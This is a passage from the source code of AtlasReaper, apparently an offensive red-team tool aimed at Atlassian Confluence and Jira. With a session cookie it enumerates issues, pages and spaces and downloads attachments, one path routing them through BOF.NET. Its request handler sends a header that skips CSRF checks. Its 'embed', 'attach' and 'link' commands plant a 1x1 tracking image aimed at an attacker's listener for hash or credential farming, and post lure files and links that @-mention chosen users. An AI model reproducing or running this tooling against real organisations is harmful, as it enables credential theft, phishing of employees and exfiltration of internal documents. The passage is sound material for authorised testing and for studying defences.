with attachments for specific project 63 | if (options.All) 64 | { 65 | url += "&maxResults=" + "100"; 66 | int startAt = 0; 67 | RootIssuesObject issuesList = GetIssues(url, options); 68 | 69 | issues.AddRange(issuesList.Issues); 70 | 71 | while (issues.Count < issuesList.Total) 72 | { 73 | startAt += 100; 74 | string nextUrl = url + "&startAt=" + startAt.ToString(); 75 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options); 76 | issues.AddRange(issuesListNext.Issues); 77 | } 78 | } 79 | 80 | // GET issues with attachmetns for a specific project by limit 81 | else if (options.Limit != null) 82 | { 83 | url += "&maxResult=" + options.Limit; 84 | 85 | RootIssuesObject issuesList = GetIssues(url, options); 86 | 87 | issues.AddRange(issuesList.Issues); 88 | } 89 | } 90 | // Implies all issues with attachments in all projects 91 | else if (options.All) 92 | { 93 | url += "attachments+IS+NOT+EMPTY&fields=attachment,summary,status"; 94 | 95 | // GET all issues for all projects 96 | if (options.All) 97 | { 98 | url += "&maxResults=" + "100"; 99 | int startAt = 0; 100 | RootIssuesObject issuesList = GetIssues(url, options); 101 | 102 | issues.AddRange(issuesList.Issues); 103 | 104 | while (issues.Count < issuesList.Total) 105 | { 106 | startAt += 100; 107 | string nextUrl = url + "&startAt=" + startAt.ToString(); 108 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options); 109 | issues.AddRange(issuesListNext.Issues); 110 | } 111 | } 112 | } 113 | 114 | issues = FilterAttachments(issues, options); 115 | if (options.outfile != null) 116 | { 117 | using (StreamWriter writer = new StreamWriter(options.outfile)) 118 | { 119 | PrintIssues(issues, writer); 120 | } 121 | } 122 | else 123 | { 124 | PrintIssues(issues, Console.Out); 125 | } 126 | } 127 | catch (Exception ex) 128 | { 129 | Console.WriteLine("Error occurred while listing attachments: " + ex.Message); 130 | } 131 | 132 | } 133 | 134 | private List FilterAttachments(List issues, JiraOptions.ListAttachmentsOptions options) 135 | { 136 | try 137 | { 138 | // Exclude 139 | if (options.Exclude != null) 140 | { 141 | List excludeList = options.Exclude.Split(',').ToList(); 142 | 143 | foreach (Issue issue in issues) 144 | { 145 | List attachmentsToRemove = new List(); 146 | 147 | foreach (Attachment attachment in issue.Fields.Attachments) 148 | { 149 | string extension = Path.GetExtension(attachment.FileName).TrimStart('.'); 150 | 151 | if (excludeList.Contains(extension)) 152 | { 153 | attachmentsToRemove.Add(attachment); 154 | } 155 | } 156 | 157 | foreach (Attachment attachment in attachmentsToRemove) 158 | { 159 | issue.Fields.Attachments.Remove(attachment); 160 | } 161 | } 162 | } 163 | 164 | // Include 165 | if (options.Include != null) 166 | { 167 | List includeList = options.Include.Split(',').ToList(); 168 | 169 | foreach (Issue issue in issues) 170 | { 171 | // Create a separate list to store the attachments we want to remove 172 | List attachmentsToRemove = new List(); 173 | 174 | foreach (Attachment attachment in issue.Fields.Attachments) 175 | { 176 | string extension = Path.GetExtension(attachment.FileName).TrimStart('.'); 177 | 178 | if (!includeList.Contains(extension)) 179 | { 180 | attachmentsToRemove.Add(attachment); 181 | } 182 | } 183 | 184 | // Remove the attachments not in include list 185 | foreach (Attachment attachment in attachmentsToRemove) 186 | { 187 | issue.Fields.Attachments.Remove(attachment); 188 | } 189 | } 190 | } 191 | // Remove any issues with no attachments after filtering 192 | issues = issues.Where(issue => issue.Fields.Attachments.Any()).ToList(); 193 | return issues; 194 | } 195 | catch (Exception ex) 196 | { 197 | Console.WriteLine("An error occurred while filtering attachments: " + ex.Message); 198 | return issues; 199 | } 200 | } 201 | 202 | 203 | private RootIssuesObject GetIssues(string url, JiraOptions.ListAttachmentsOptions options) 204 | { 205 | try 206 | { 207 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 208 | 209 | RootIssuesObject issuesList = webRequestHandler.GetJson(url, options.Cookie); 210 | 211 | return issuesList; 212 | } 213 | catch (Exception ex) 214 | { 215 | Console.WriteLine("Error occurred while getting issues: " + ex.Message); 216 | return null; 217 | } 218 | } 219 | 220 | private void PrintIssues(List issues, TextWriter writer) 221 | { 222 | try 223 | { 224 | for (int i = 0; i < issues.Count; i++) 225 | { 226 | Issue issue = issues[i]; 227 | List attachments = issue.Fields.Attachments; 228 | 229 | writer.WriteLine(" Issue Title : " + issue.Fields.Title); 230 | writer.WriteLine(" Issue Key : " + issue.Key); 231 | writer.WriteLine(" Issue Id : " + issue.Id); 232 | writer.WriteLine(" Status : " + issue.Fields.Status.Name); 233 | if (attachments.Count > 0) 234 | { 235 | writer.WriteLine(" Attachments : "); 236 | writer.WriteLine(); 237 | for (int j = 0; j < attachments.Count; j++) 238 | { 239 | Attachment attachment = attachments[j]; 240 | writer.WriteLine(" Filename : " + attachment.FileName); 241 | writer.WriteLine(" Attachment Id : " + attachment.Id); 242 | writer.WriteLine(" Mimetype : " + attachment.mimeType); 243 | writer.WriteLine(" File size : " + attachment.Size); 244 | writer.WriteLine(); 245 | } 246 | } 247 | } 248 | } 249 | catch (Exception ex) 250 | { 251 | Console.WriteLine("Error occurred while printing issues: " + ex.Message); 252 | } 253 | } 254 | } 255 | } 256 | -------------------------------------------------------------------------------- /AtlasReaper/Utils/WebRequestHandler.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.IO; 4 | using System.Net; 5 | using System.Net.Http; 6 | using System.Reflection; 7 | using System.Text; 8 | 9 | namespace AtlasReaper.Utils 10 | { 11 | public class WebRequestHandler 12 | { 13 | public T GetJson(string url, string cookie) 14 | { 15 | try 16 | { 17 | if (cookie != null) 18 | { 19 | Uri baseAddress = new Uri(url); 20 | CookieContainer cookieContainer = new CookieContainer(); 21 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer }) 22 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress }) 23 | { 24 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 25 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie)); 26 | HttpResponseMessage httpResponse = client.GetAsync(url).Result; 27 | string result = httpResponse.Content.ReadAsStringAsync().Result; 28 | T deserializedObject = JsonConvert.DeserializeObject(result); 29 | return deserializedObject; 30 | } 31 | } 32 | else 33 | { 34 | using (HttpClient client = new HttpClient()) 35 | { 36 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 37 | HttpResponseMessage httpResponse = client.GetAsync(url).Result; 38 | string result = httpResponse.Content.ReadAsStringAsync().Result; 39 | T deserializedObject = JsonConvert.DeserializeObject(result); 40 | return deserializedObject; 41 | } 42 | } 43 | } 44 | catch (Exception ex) 45 | { 46 | Console.WriteLine("Error occured in Utils.WebRequestHandler.GetJson method: " + ex.Message); 47 | Console.WriteLine(ex.StackTrace); 48 | if (ex.InnerException != null) 49 | { 50 | Console.WriteLine(ex.InnerException.Message); 51 | } 52 | return default; 53 | } 54 | } 55 | 56 | public T PostJson(string url, string cookie, string serializedData) 57 | { 58 | try 59 | { 60 | Uri baseAddress = new Uri(url); 61 | CookieContainer cookieContainer = new CookieContainer(); 62 | 63 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer }) 64 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress }) 65 | { 66 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 67 | if (cookie != null) 68 | { 69 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie)); 70 | } 71 | 72 | HttpContent content = new StringContent(serializedData, Encoding.UTF8, "application/json"); 73 | HttpResponseMessage httpResponse = client.PostAsync(url, content).Result; 74 | 75 | string result = httpResponse.Content.ReadAsStringAsync().Result; 76 | T deserializedObject = JsonConvert.DeserializeObject(result); 77 | return deserializedObject; 78 | } 79 | } 80 | catch (Exception ex) 81 | { 82 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.PostJson method: " + ex.Message); 83 | return default; 84 | 85 | } 86 | } 87 | 88 | public T PutJson(string url, string cookie, string serializedData) 89 | { 90 | try 91 | { 92 | 93 | Uri baseAddress = new Uri(url); 94 | CookieContainer cookieContainer = new CookieContainer(); 95 | 96 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer }) 97 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress }) 98 | { 99 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 100 | if (cookie != null) 101 | { 102 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie)); 103 | } 104 | 105 | HttpContent content = new StringContent(serializedData, Encoding.UTF8, "application/json"); 106 | HttpResponseMessage httpResponse = client.PutAsync(url, content).Result; 107 | 108 | string result = httpResponse.Content.ReadAsStringAsync().Result; 109 | T deserializedObject = JsonConvert.DeserializeObject(result); 110 | return deserializedObject; 111 | } 112 | } 113 | catch (Exception ex) 114 | { 115 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.PutJson method: " + ex.Message); 116 | return default; 117 | } 118 | } 119 | 120 | public T PostForm(string url, string cookie, object formData, string fileName) 121 | { 122 | try 123 | { 124 | Uri baseAddress = new Uri(url); 125 | CookieContainer cookieContainer = new CookieContainer(); 126 | 127 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer }) 128 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress }) 129 | { 130 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 131 | if (cookie != null) 132 | { 133 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie)); 134 | } 135 | 136 | // LOL tell confluence to NOT require a CSRF token 137 | client.DefaultRequestHeaders.Add("X-Atlassian-Token", "nocheck"); 138 | 139 | MultipartFormDataContent formContent = new MultipartFormDataContent(); 140 | 141 | PropertyInfo[] properties = formData.GetType().GetProperties(); 142 | foreach (PropertyInfo property in properties) 143 | { 144 | object value = property.GetValue(formData); 145 | if (value is string stringValue) 146 | { 147 | var stringContent = new StringContent(stringValue); 148 | formContent.Add(stringContent, property.Name); 149 | } 150 | else if (value is byte[] byteArrayValue) 151 | { 152 | var fileContent = new ByteArrayContent(byteArrayValue); 153 | formContent.Add(fileContent, property.Name, fileName); 154 | } 155 | else 156 | { 157 | throw new ArgumentException($"Unsupported form field type: {property.PropertyType}"); 158 | } 159 | } 160 | 161 | HttpResponseMessage httpResponse = client.PostAsync(url, formContent).Result; 162 | 163 | string result = httpResponse.Content.ReadAsStringAsync().Result; 164 | T deserializedObject = JsonConvert.DeserializeObject(result); 165 | return deserializedObject; 166 | } 167 | } 168 | catch (Exception ex) 169 | { 170 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.PostForm method: " + ex.Message); 171 | return default; 172 | } 173 | } 174 | 175 | public void DownloadFile(string url, string cookie, string outputFilePath) 176 | { 177 | try 178 | { 179 | if (cookie != null) 180 | { 181 | Uri baseAddress = new Uri(url); 182 | CookieContainer cookieContainer = new CookieContainer(); 183 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer }) 184 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress }) 185 | { 186 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 187 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie)); 188 | HttpResponseMessage httpResponse = client.GetAsync(url).Result; 189 | string redirectUrl = httpResponse.RequestMessage.RequestUri.ToString(); 190 | 191 | using (Stream contentStream = httpResponse.Content.ReadAsStreamAsync().Result) 192 | using (FileStream fileStream = new FileStream(outputFilePath, FileMode.Create, FileAccess.Write)) 193 | { 194 | contentStream.CopyToAsync(fileStream).Wait(); 195 | } 196 | } 197 | } 198 | } 199 | catch (Exception ex) 200 | { 201 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.DownloadFile method: " + ex.Message); 202 | } 203 | 204 | } 205 | 206 | public MemoryStream GetFileInMemory(string url, string cookie) 207 | { 208 | try 209 | { 210 | Uri baseAddress = new Uri(url); 211 | CookieContainer cookieContainer = new CookieContainer(); 212 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer }) 213 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress }) 214 | { 215 | ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; 216 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie)); 217 | HttpResponseMessage httpResponse = client.GetAsync(url).Result; 218 | string redirectUrl = httpResponse.RequestMessage.RequestUri.ToString(); 219 | 220 | using (Stream contentStream = httpResponse.Content.ReadAsStreamAsync().Result) 221 | { 222 | MemoryStream memoryStream = new MemoryStream(); 223 | contentStream.CopyToAsync(memoryStream).Wait(); 224 | memoryStream.Position = 0; 225 | return memoryStream; 226 | } 227 | } 228 | } 229 | catch (Exception ex) 230 | { 231 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.GetFileInMemory method: " + ex.Message); 232 | } 233 | return null; 234 | } 235 | } 236 | } 237 | -------------------------------------------------------------------------------- /AtlasReaper/Options/ConfluenceOptions.cs: -------------------------------------------------------------------------------- 1 | using CommandLine; 2 | using AtlasReaper.Utils; 3 | using System; 4 | using System.IO; 5 | 6 | namespace AtlasReaper.Options 7 | { 8 | internal class ConfluenceOptions 9 | { 10 | 11 | private string _status; 12 | 13 | // Shared options for Confluence commands 14 | 15 | [Option('u', "url", Required = true, HelpText = "Confluence URL")] 16 | public string Url { get; set; } 17 | 18 | [Option('c', "cookie", Required = false, Default = null, HelpText = "cloud.session.token")] 19 | public string Cookie { get; set; } 20 | 21 | internal string outfile; 22 | [Option('o', "output", Required = false, Default = null, HelpText = "Save output to file")] 23 | public string Outfile 24 | { 25 | get { return outfile; } 26 | set 27 | { 28 | if (value != null) 29 | { 30 | string fullPath; 31 | 32 | if (Path.IsPathRooted(value)) 33 | { 34 | fullPath = Path.GetFullPath(value); 35 | } 36 | else 37 | { 38 | string currentDirectory = Environment.CurrentDirectory; 39 | fullPath = Path.Combine(currentDirectory, value); 40 | Console.WriteLine(fullPath); 41 | } 42 | string directory = Path.GetDirectoryName(fullPath); 43 | string fileName = Path.GetFileName(fullPath); 44 | try 45 | { 46 | if (File.Exists(fullPath)) 47 | { 48 | Console.WriteLine("File already exists. Please choose a different file name."); 49 | return; 50 | } 51 | 52 | if (!Directory.Exists(directory)) 53 | { 54 | Console.WriteLine("Invalid directory. Please specify a valid directory."); 55 | return; 56 | } 57 | 58 | if (!FileUtils.CanWriteToDirectory(directory)) 59 | { 60 | Console.WriteLine("Unable to write to the specified directory. Please choose a different location."); 61 | return; 62 | } 63 | } 64 | catch (Exception ex) 65 | { 66 | Console.WriteLine(ex.Message); 67 | } 68 | 69 | } 70 | 71 | outfile = value; 72 | } 73 | } 74 | 75 | // Attach a file 76 | [Verb("attach", HelpText = "Attach a file to a page")] 77 | internal class AttachOptions : ConfluenceOptions 78 | { 79 | [Option('a', "attachment", Required = false, HelpText = "Attachment Id to attach to page (if attachment is already created)")] 80 | public string AttachmentId { get; set; } 81 | 82 | [Option("at", Required = false, HelpText = "User id to @ on the page (get user id from the jira listusers command)")] 83 | public string At { get; set; } 84 | 85 | [Option("comment", Required = false, Default = "untitled", HelpText = "Comment for uploaded file")] 86 | public string Comment { get; set; } 87 | 88 | [Option('f', "file", Required = false, HelpText = "File to attach")] 89 | public string File { get; set; } 90 | 91 | [Option('n', "name", Required = false, HelpText = "Name of file attachment. (Defaults to filename passed with -f/--file")] 92 | public string Name { get; set; } 93 | 94 | [Option('p', "page", Required = true, HelpText = "Page to attach")] 95 | public string Page { get; set; } 96 | 97 | [Option('t', "text", Required = false, HelpText = "Text to add to page to provide context (e.g \"I uploaded this file, please take a look\")")] 98 | public string Text { get; set; } 99 | } 100 | 101 | // Embed command options 102 | [Verb("embed", HelpText = "Embed a 1x1 pixel image to perform farming attacks")] 103 | internal class EmbedOptions : ConfluenceOptions 104 | { 105 | [Option("at", Required = false, HelpText = "User id to @ on the page (get user id from the jira listusers command)")] 106 | public string At { get; set; } 107 | 108 | [Option('l', "link", Required = true, HelpText = "Url to listener")] 109 | public string Link { get; set; } 110 | 111 | [Option('m', "message", Required = false, HelpText = "Messgage to add to the page (i.e. I need you to take a look at this)")] 112 | public string Message { get; set; } 113 | 114 | [Option('p', "page", Required = true, HelpText = "Page to embed")] 115 | public string Page { get; set; } 116 | } 117 | 118 | // Download command options 119 | [Verb("download", HelpText = "Download Attachment")] 120 | internal class DownloadOptions : ConfluenceOptions 121 | { 122 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download (no spaces)")] 123 | public string Attachments { get; set; } 124 | 125 | [Option('o', "output-dir", Required = false, HelpText = "Directory to save the downloaded attachments")] 126 | public string OutputDir { get; set; } 127 | } 128 | 129 | // Download command options 130 | [Verb("downloadBOFNET", HelpText = "Download attachment(s) through BOF.NET")] 131 | internal class DownloadBOFNETOptions : ConfluenceOptions 132 | { 133 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download through BOF.NET (no spaces)")] 134 | public string Attachments { get; set; } 135 | } 136 | 137 | // Embed command options 138 | [Verb("link", HelpText = "Add link to page")] 139 | internal class LinkOptions : ConfluenceOptions 140 | { 141 | [Option("at", Required = false, HelpText = "User id to @ on the page (get user id from the jira listusers command)")] 142 | public string At { get; set; } 143 | 144 | [Option('l', "link", Required = true, HelpText = "Url to link to")] 145 | public string Link { get; set; } 146 | 147 | [Option('m', "message", Required = false, HelpText = "Messgage to add to the page (i.e. I need you to take a look at this)")] 148 | public string Message { get; set; } 149 | 150 | [Option('p', "page", Required = true, HelpText = "Page to embed")] 151 | public string Page { get; set; } 152 | 153 | [Option('t', "text", Required = false, Default = "Here", HelpText = "Link text to display")] 154 | public string Text { get; set; } 155 | } 156 | 157 | //Listattachments command options 158 | [Verb("listattachments", HelpText = "List Attachments")] 159 | internal class ListAttachmentsOptions : ConfluenceOptions 160 | { 161 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all attachments for supplied space")] 162 | public bool All { get; set; } 163 | 164 | [Option("all-spaces", Required = false, Default = false, HelpText = "Return attachments for all spaces. WARNING!! This can make a lot of requests!")] 165 | public bool AllSpaces { get; set; } 166 | 167 | [Option('i', "include", Required = false, HelpText = "Comma-separated list of extensions to include (e.g. png,jpeg)")] 168 | public string Include { get; set; } 169 | 170 | [Option('l', "limit", Required = false, Default = "200", HelpText = "Number or attachments to return")] 171 | public string Limit { get; set; } 172 | 173 | [Option('p', "page", Required = false, HelpText = "Page to return attachments for")] 174 | public string Page { get; set; } 175 | 176 | [Option('s', "space", Required = false, HelpText = "Space to return attachments for")] 177 | public string Space { get; set; } 178 | 179 | [Option('x', "exclude", Required = false, HelpText = "Comma-separated list of extensions to exclude (e.g. png,jpeg)")] 180 | public string Exclude { get; set; } 181 | } 182 | 183 | // Listpages command options 184 | [Verb("listpages", HelpText = "List pages")] 185 | internal class ListPagesOptions : ConfluenceOptions 186 | { 187 | 188 | [Option("all", Required = false, Default = false, HelpText = "Return all pages (Returns every Page if no Space is specified)")] 189 | public bool AllPages { get; set; } 190 | 191 | [Option('b', "body", Required = false, Default = false, HelpText = "Print body of pages")] 192 | public bool Body { get; set; } 193 | 194 | [Option('l', "limit", Required = false, Default = "250", HelpText = "Number of results to return")] 195 | public string Limit { get; set; } 196 | 197 | [Option('p', "page", Required = false, HelpText = "Page to return")] 198 | public string Page { get; set; } 199 | 200 | [Option('s', "space", Required = false, HelpText = "Space to search")] 201 | public string Space { get; set; } 202 | 203 | [Option("status", Required = false, HelpText = "Page Status (current, archived, deleted, trashed) Defaults to all")] 204 | public string Status 205 | { 206 | get => _status; 207 | set 208 | { 209 | if (IsValidStatus(value)) 210 | { 211 | _status = value; 212 | } 213 | else 214 | { 215 | Console.WriteLine("Invalid status value. Please use one of the following values: current, archived, deleted, or trashed."); 216 | Console.WriteLine(); 217 | return; 218 | } 219 | } 220 | } 221 | 222 | } 223 | 224 | // Check if status value is valid 225 | private bool IsValidStatus(string value) 226 | { 227 | string[] validStatuses = new[] { "current", "archived", "deleted", "trashed" }; 228 | return Array.Exists(validStatuses, s => s.Equals(_status, StringComparison.OrdinalIgnoreCase)); 229 | } 230 | 231 | // Listspaces command options 232 | [Verb("listspaces", HelpText = "List spaces")] 233 | internal class ListSpacesOptions : ConfluenceOptions 234 | { 235 | 236 | [Option("all", Required = false, Default = false, HelpText = "Returns all spaces")] 237 | public bool AllSpaces { get; set; } 238 | 239 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number of results to return")] 240 | public string Limit { get; set; } 241 | 242 | [Option('s', "space", Required = false, HelpText = "Space to search")] 243 | public string Space { get; set; } 244 | 245 | [Option('t', "type", Required = false, HelpText = "Space type to return (global, personal, ...?)")] 246 | public string Type { get; set; } 247 | 248 | } 249 | 250 | // Search command options 251 | [Verb("search", HelpText = "Search Confluence")] 252 | internal class SearchOptions : ConfluenceOptions 253 | { 254 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")] 255 | public bool All { get; set; } 256 | 257 | [Option('l', "limit", Required = false, Default = "250", HelpText = "Number of results to return")] 258 | public string Limit { get; set; } 259 | 260 | [Option('q', "query", Required = true, HelpText = "String or phrase to query")] 261 | public string Query { get; set; } 262 | 263 | } 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Pages.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using Newtonsoft.Json; 6 | using Newtonsoft.Json.Linq; 7 | using AtlasReaper.Options; 8 | 9 | namespace AtlasReaper.Confluence 10 | { 11 | internal class Pages 12 | { 13 | internal void ListPages(ConfluenceOptions.ListPagesOptions options) 14 | { 15 | try 16 | { 17 | List pages = new List(); 18 | if (options.Page != null) 19 | { 20 | // List specific page 21 | Page page = new Page(); 22 | page = GetPage(options); 23 | pages.Add(page); 24 | options.Body = true; 25 | } 26 | else if (options.AllPages && options.Space == null) 27 | { 28 | // List all pages for all spaces 29 | // List all spaces 30 | ConfluenceOptions.ListSpacesOptions spacesOptions = new ConfluenceOptions.ListSpacesOptions() 31 | { 32 | Url = options.Url, 33 | Cookie = options.Cookie, 34 | Limit = options.Limit 35 | }; 36 | 37 | List spaces = Spaces.GetAllSpaces(spacesOptions); 38 | 39 | for (int i = 0; i < spaces.Count; i++) 40 | { 41 | List spacePages = new List(); 42 | options.Space = spaces[i].Id; 43 | spacePages = GetAllPages(options); 44 | pages.AddRange(spacePages); 45 | } 46 | 47 | pages = pages.OrderByDescending(o => o.Version.CreatedAt).ToList(); 48 | } 49 | else if (options.Space != null) 50 | { 51 | // List pages for Space 52 | RootPagesObject pagesList = GetPages(options); 53 | pages = pagesList.Results.ToList(); 54 | pages = pages.OrderByDescending(o => o.Version.CreatedAt).ToList(); 55 | } 56 | else 57 | { 58 | Console.WriteLine("Please use one of: "); 59 | Console.WriteLine(); 60 | Console.WriteLine(" --all (Default: false) Return all pages (Returns every Page if no Space is specified)"); 61 | Console.WriteLine(" -p, --page Page to return"); 62 | Console.WriteLine(" -s, --space Space to search"); 63 | Console.WriteLine(); 64 | } 65 | 66 | pages = pages.Where(page => page != null && page.Id != null).ToList(); 67 | if (pages.Count > 0) 68 | { 69 | if (options.outfile != null) 70 | { 71 | using (StreamWriter writer = new StreamWriter(options.outfile)) 72 | { 73 | PrintPage(pages, options.Body, writer); 74 | } 75 | } 76 | else 77 | { 78 | PrintPage(pages, options.Body, Console.Out); 79 | } 80 | } 81 | else 82 | { 83 | Console.WriteLine("No pages returned."); 84 | } 85 | 86 | } 87 | catch (Exception ex) 88 | { 89 | Console.WriteLine("Error occurred while listing pages: " + ex.Message); 90 | } 91 | 92 | 93 | } 94 | 95 | // Get Page 96 | internal Page GetPage(ConfluenceOptions.ListPagesOptions options) 97 | { 98 | Page page = new Page(); 99 | string url = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=atlas_doc_format"; 100 | try 101 | { 102 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 103 | page = webRequestHandler.GetJson(url, options.Cookie); 104 | 105 | return page; 106 | } 107 | catch (Exception ex) 108 | { 109 | Console.WriteLine("Error occurred while getting page: " + ex.Message); 110 | return page; 111 | } 112 | 113 | } 114 | 115 | // Get pages based on options 116 | internal static RootPagesObject GetPages(ConfluenceOptions.ListPagesOptions options, string paginationToken = null) 117 | { 118 | RootPagesObject pagesList = new RootPagesObject(); 119 | 120 | string url = 121 | options.Url + "/wiki/api/v2/spaces/" + options.Space + 122 | "/pages?limit=" + options.Limit + 123 | "&status=" + options.Status; 124 | try 125 | { 126 | if (options.Body) 127 | { 128 | url = url + "&body-format=atlas_doc_format"; 129 | } 130 | 131 | if (paginationToken != null) 132 | { 133 | url += "&" + paginationToken; 134 | } 135 | 136 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 137 | 138 | pagesList = webRequestHandler.GetJson(url, options.Cookie); 139 | 140 | return pagesList; 141 | } 142 | catch (Exception ex) 143 | { 144 | Console.WriteLine("Error occured while getting pages: " + ex.Message); 145 | return pagesList; 146 | } 147 | 148 | 149 | } 150 | 151 | // Get text values from JSON token 152 | internal static List GetPageText(JToken token, string key) 153 | { 154 | List results = new List(); 155 | 156 | try 157 | { 158 | if (token.Type == JTokenType.Object) 159 | { 160 | JObject obj = (JObject)token; 161 | 162 | foreach (JProperty property in obj.Properties()) 163 | { 164 | if (property.Name == key) 165 | { 166 | results.Add(property.Value.ToString()); 167 | } 168 | 169 | results.AddRange(GetPageText(property.Value, key)); 170 | } 171 | } 172 | else if (token.Type == JTokenType.Array) 173 | { 174 | foreach (JToken item in token) 175 | { 176 | results.AddRange(GetPageText(item, key)); 177 | } 178 | } 179 | 180 | return results; 181 | } 182 | catch (Exception ex) 183 | { 184 | Console.WriteLine("Error occured while parsing page text: " + ex.Message); 185 | return results; 186 | } 187 | 188 | } 189 | 190 | // Get all pages for a space 191 | internal static List GetAllPages(ConfluenceOptions.ListPagesOptions options) 192 | { 193 | List pages = new List(); 194 | 195 | // Set limit to 250 to reduce number of request 196 | options.Limit = "250"; 197 | 198 | try 199 | { 200 | RootPagesObject pagesList = GetPages(options); 201 | pages = pagesList.Results; 202 | 203 | while (pagesList != null && pagesList._Links.Next != null) 204 | { 205 | string[] nextTokenParts = pagesList._Links.Next.Split('?').Last().Split('&'); 206 | string nextToken = ""; 207 | foreach (string param in nextTokenParts) 208 | { 209 | if (param.Contains("cursor")) 210 | { 211 | nextToken = param; 212 | } 213 | } 214 | //string nextToken = pagesList._Links.Next.Split('?').Last(); 215 | 216 | pagesList = GetPages(options, nextToken); 217 | pages.AddRange(pagesList.Results); 218 | } 219 | 220 | pages = pages.OrderByDescending(o => o.Version.CreatedAt).ToList(); 221 | 222 | return pages; 223 | } 224 | 225 | catch (Exception ex) 226 | { 227 | Console.WriteLine("Error occurred while getting all pages: " + ex.Message); 228 | return pages; 229 | } 230 | 231 | } 232 | 233 | // Print page information 234 | internal static void PrintPage(List pages, bool body, TextWriter writer) 235 | { 236 | try 237 | { 238 | 239 | for (int i = 0; i < pages.Count; i++) 240 | { 241 | Page page = pages[i]; 242 | writer.WriteLine("Page Title: " + page.Title); 243 | writer.WriteLine("Updated : " + page.Version.CreatedAt); 244 | writer.WriteLine("Page Id : " + page.Id); 245 | if (body) 246 | { 247 | JToken json = JObject.Parse(page.Body.Atlas_Doc_Format.Value); 248 | List textValues = GetPageText(json, "text"); 249 | string bodyText = string.Join("\n ", textValues); 250 | writer.WriteLine("Page Body : "); 251 | writer.WriteLine(" " + bodyText); 252 | } 253 | writer.WriteLine(); 254 | } 255 | } 256 | catch (Exception ex) 257 | { 258 | Console.WriteLine("Error occured while printing page with body: " + ex.Message); 259 | } 260 | } 261 | 262 | } 263 | 264 | internal class RootPagesObject 265 | { 266 | [JsonProperty("results")] 267 | internal List Results { get; set; } 268 | [JsonProperty("_links")] 269 | internal _Links _Links { get; set; } 270 | } 271 | 272 | internal class Page 273 | { 274 | [JsonProperty("id")] 275 | internal string Id { get; set; } 276 | [JsonProperty("status")] 277 | internal string Status { get; set; } 278 | [JsonProperty("title")] 279 | internal string Title { get; set; } 280 | [JsonProperty("spaceId")] 281 | internal string SpaceId { get; set; } 282 | [JsonProperty("parentId")] 283 | internal string ParentId { get; set; } 284 | [JsonProperty("authorId")] 285 | internal string AuthorId { get; set; } 286 | [JsonProperty("createdAt")] 287 | internal string CreatedAt { get; set; } 288 | [JsonProperty("version")] 289 | internal Version Version { get; set; } 290 | [JsonProperty("body")] 291 | internal Body Body { get; set; } 292 | } 293 | 294 | internal class Version 295 | { 296 | [JsonProperty("createdAt")] 297 | internal string CreatedAt { get; set; } 298 | [JsonProperty("message")] 299 | internal string Message { get; set; } 300 | [JsonProperty("number")] 301 | internal int Number { get; set; } 302 | [JsonProperty("minorEdit")] 303 | internal bool MinorEdit { get; set; } 304 | [JsonProperty("authorId")] 305 | internal string AuthorId { get; set; } 306 | } 307 | 308 | internal class Body 309 | { 310 | [JsonProperty("storage")] 311 | internal BodyType Storage { get; set; } 312 | 313 | [JsonProperty("atlas_doc_format")] 314 | internal BodyType Atlas_Doc_Format { get; set; } 315 | } 316 | 317 | internal class BodyType 318 | { 319 | [JsonProperty("value")] 320 | internal string Value { get; set; } 321 | [JsonProperty("representation")] 322 | internal string Representation { get; set; } 323 | } 324 | 325 | } 326 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Attachments.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using 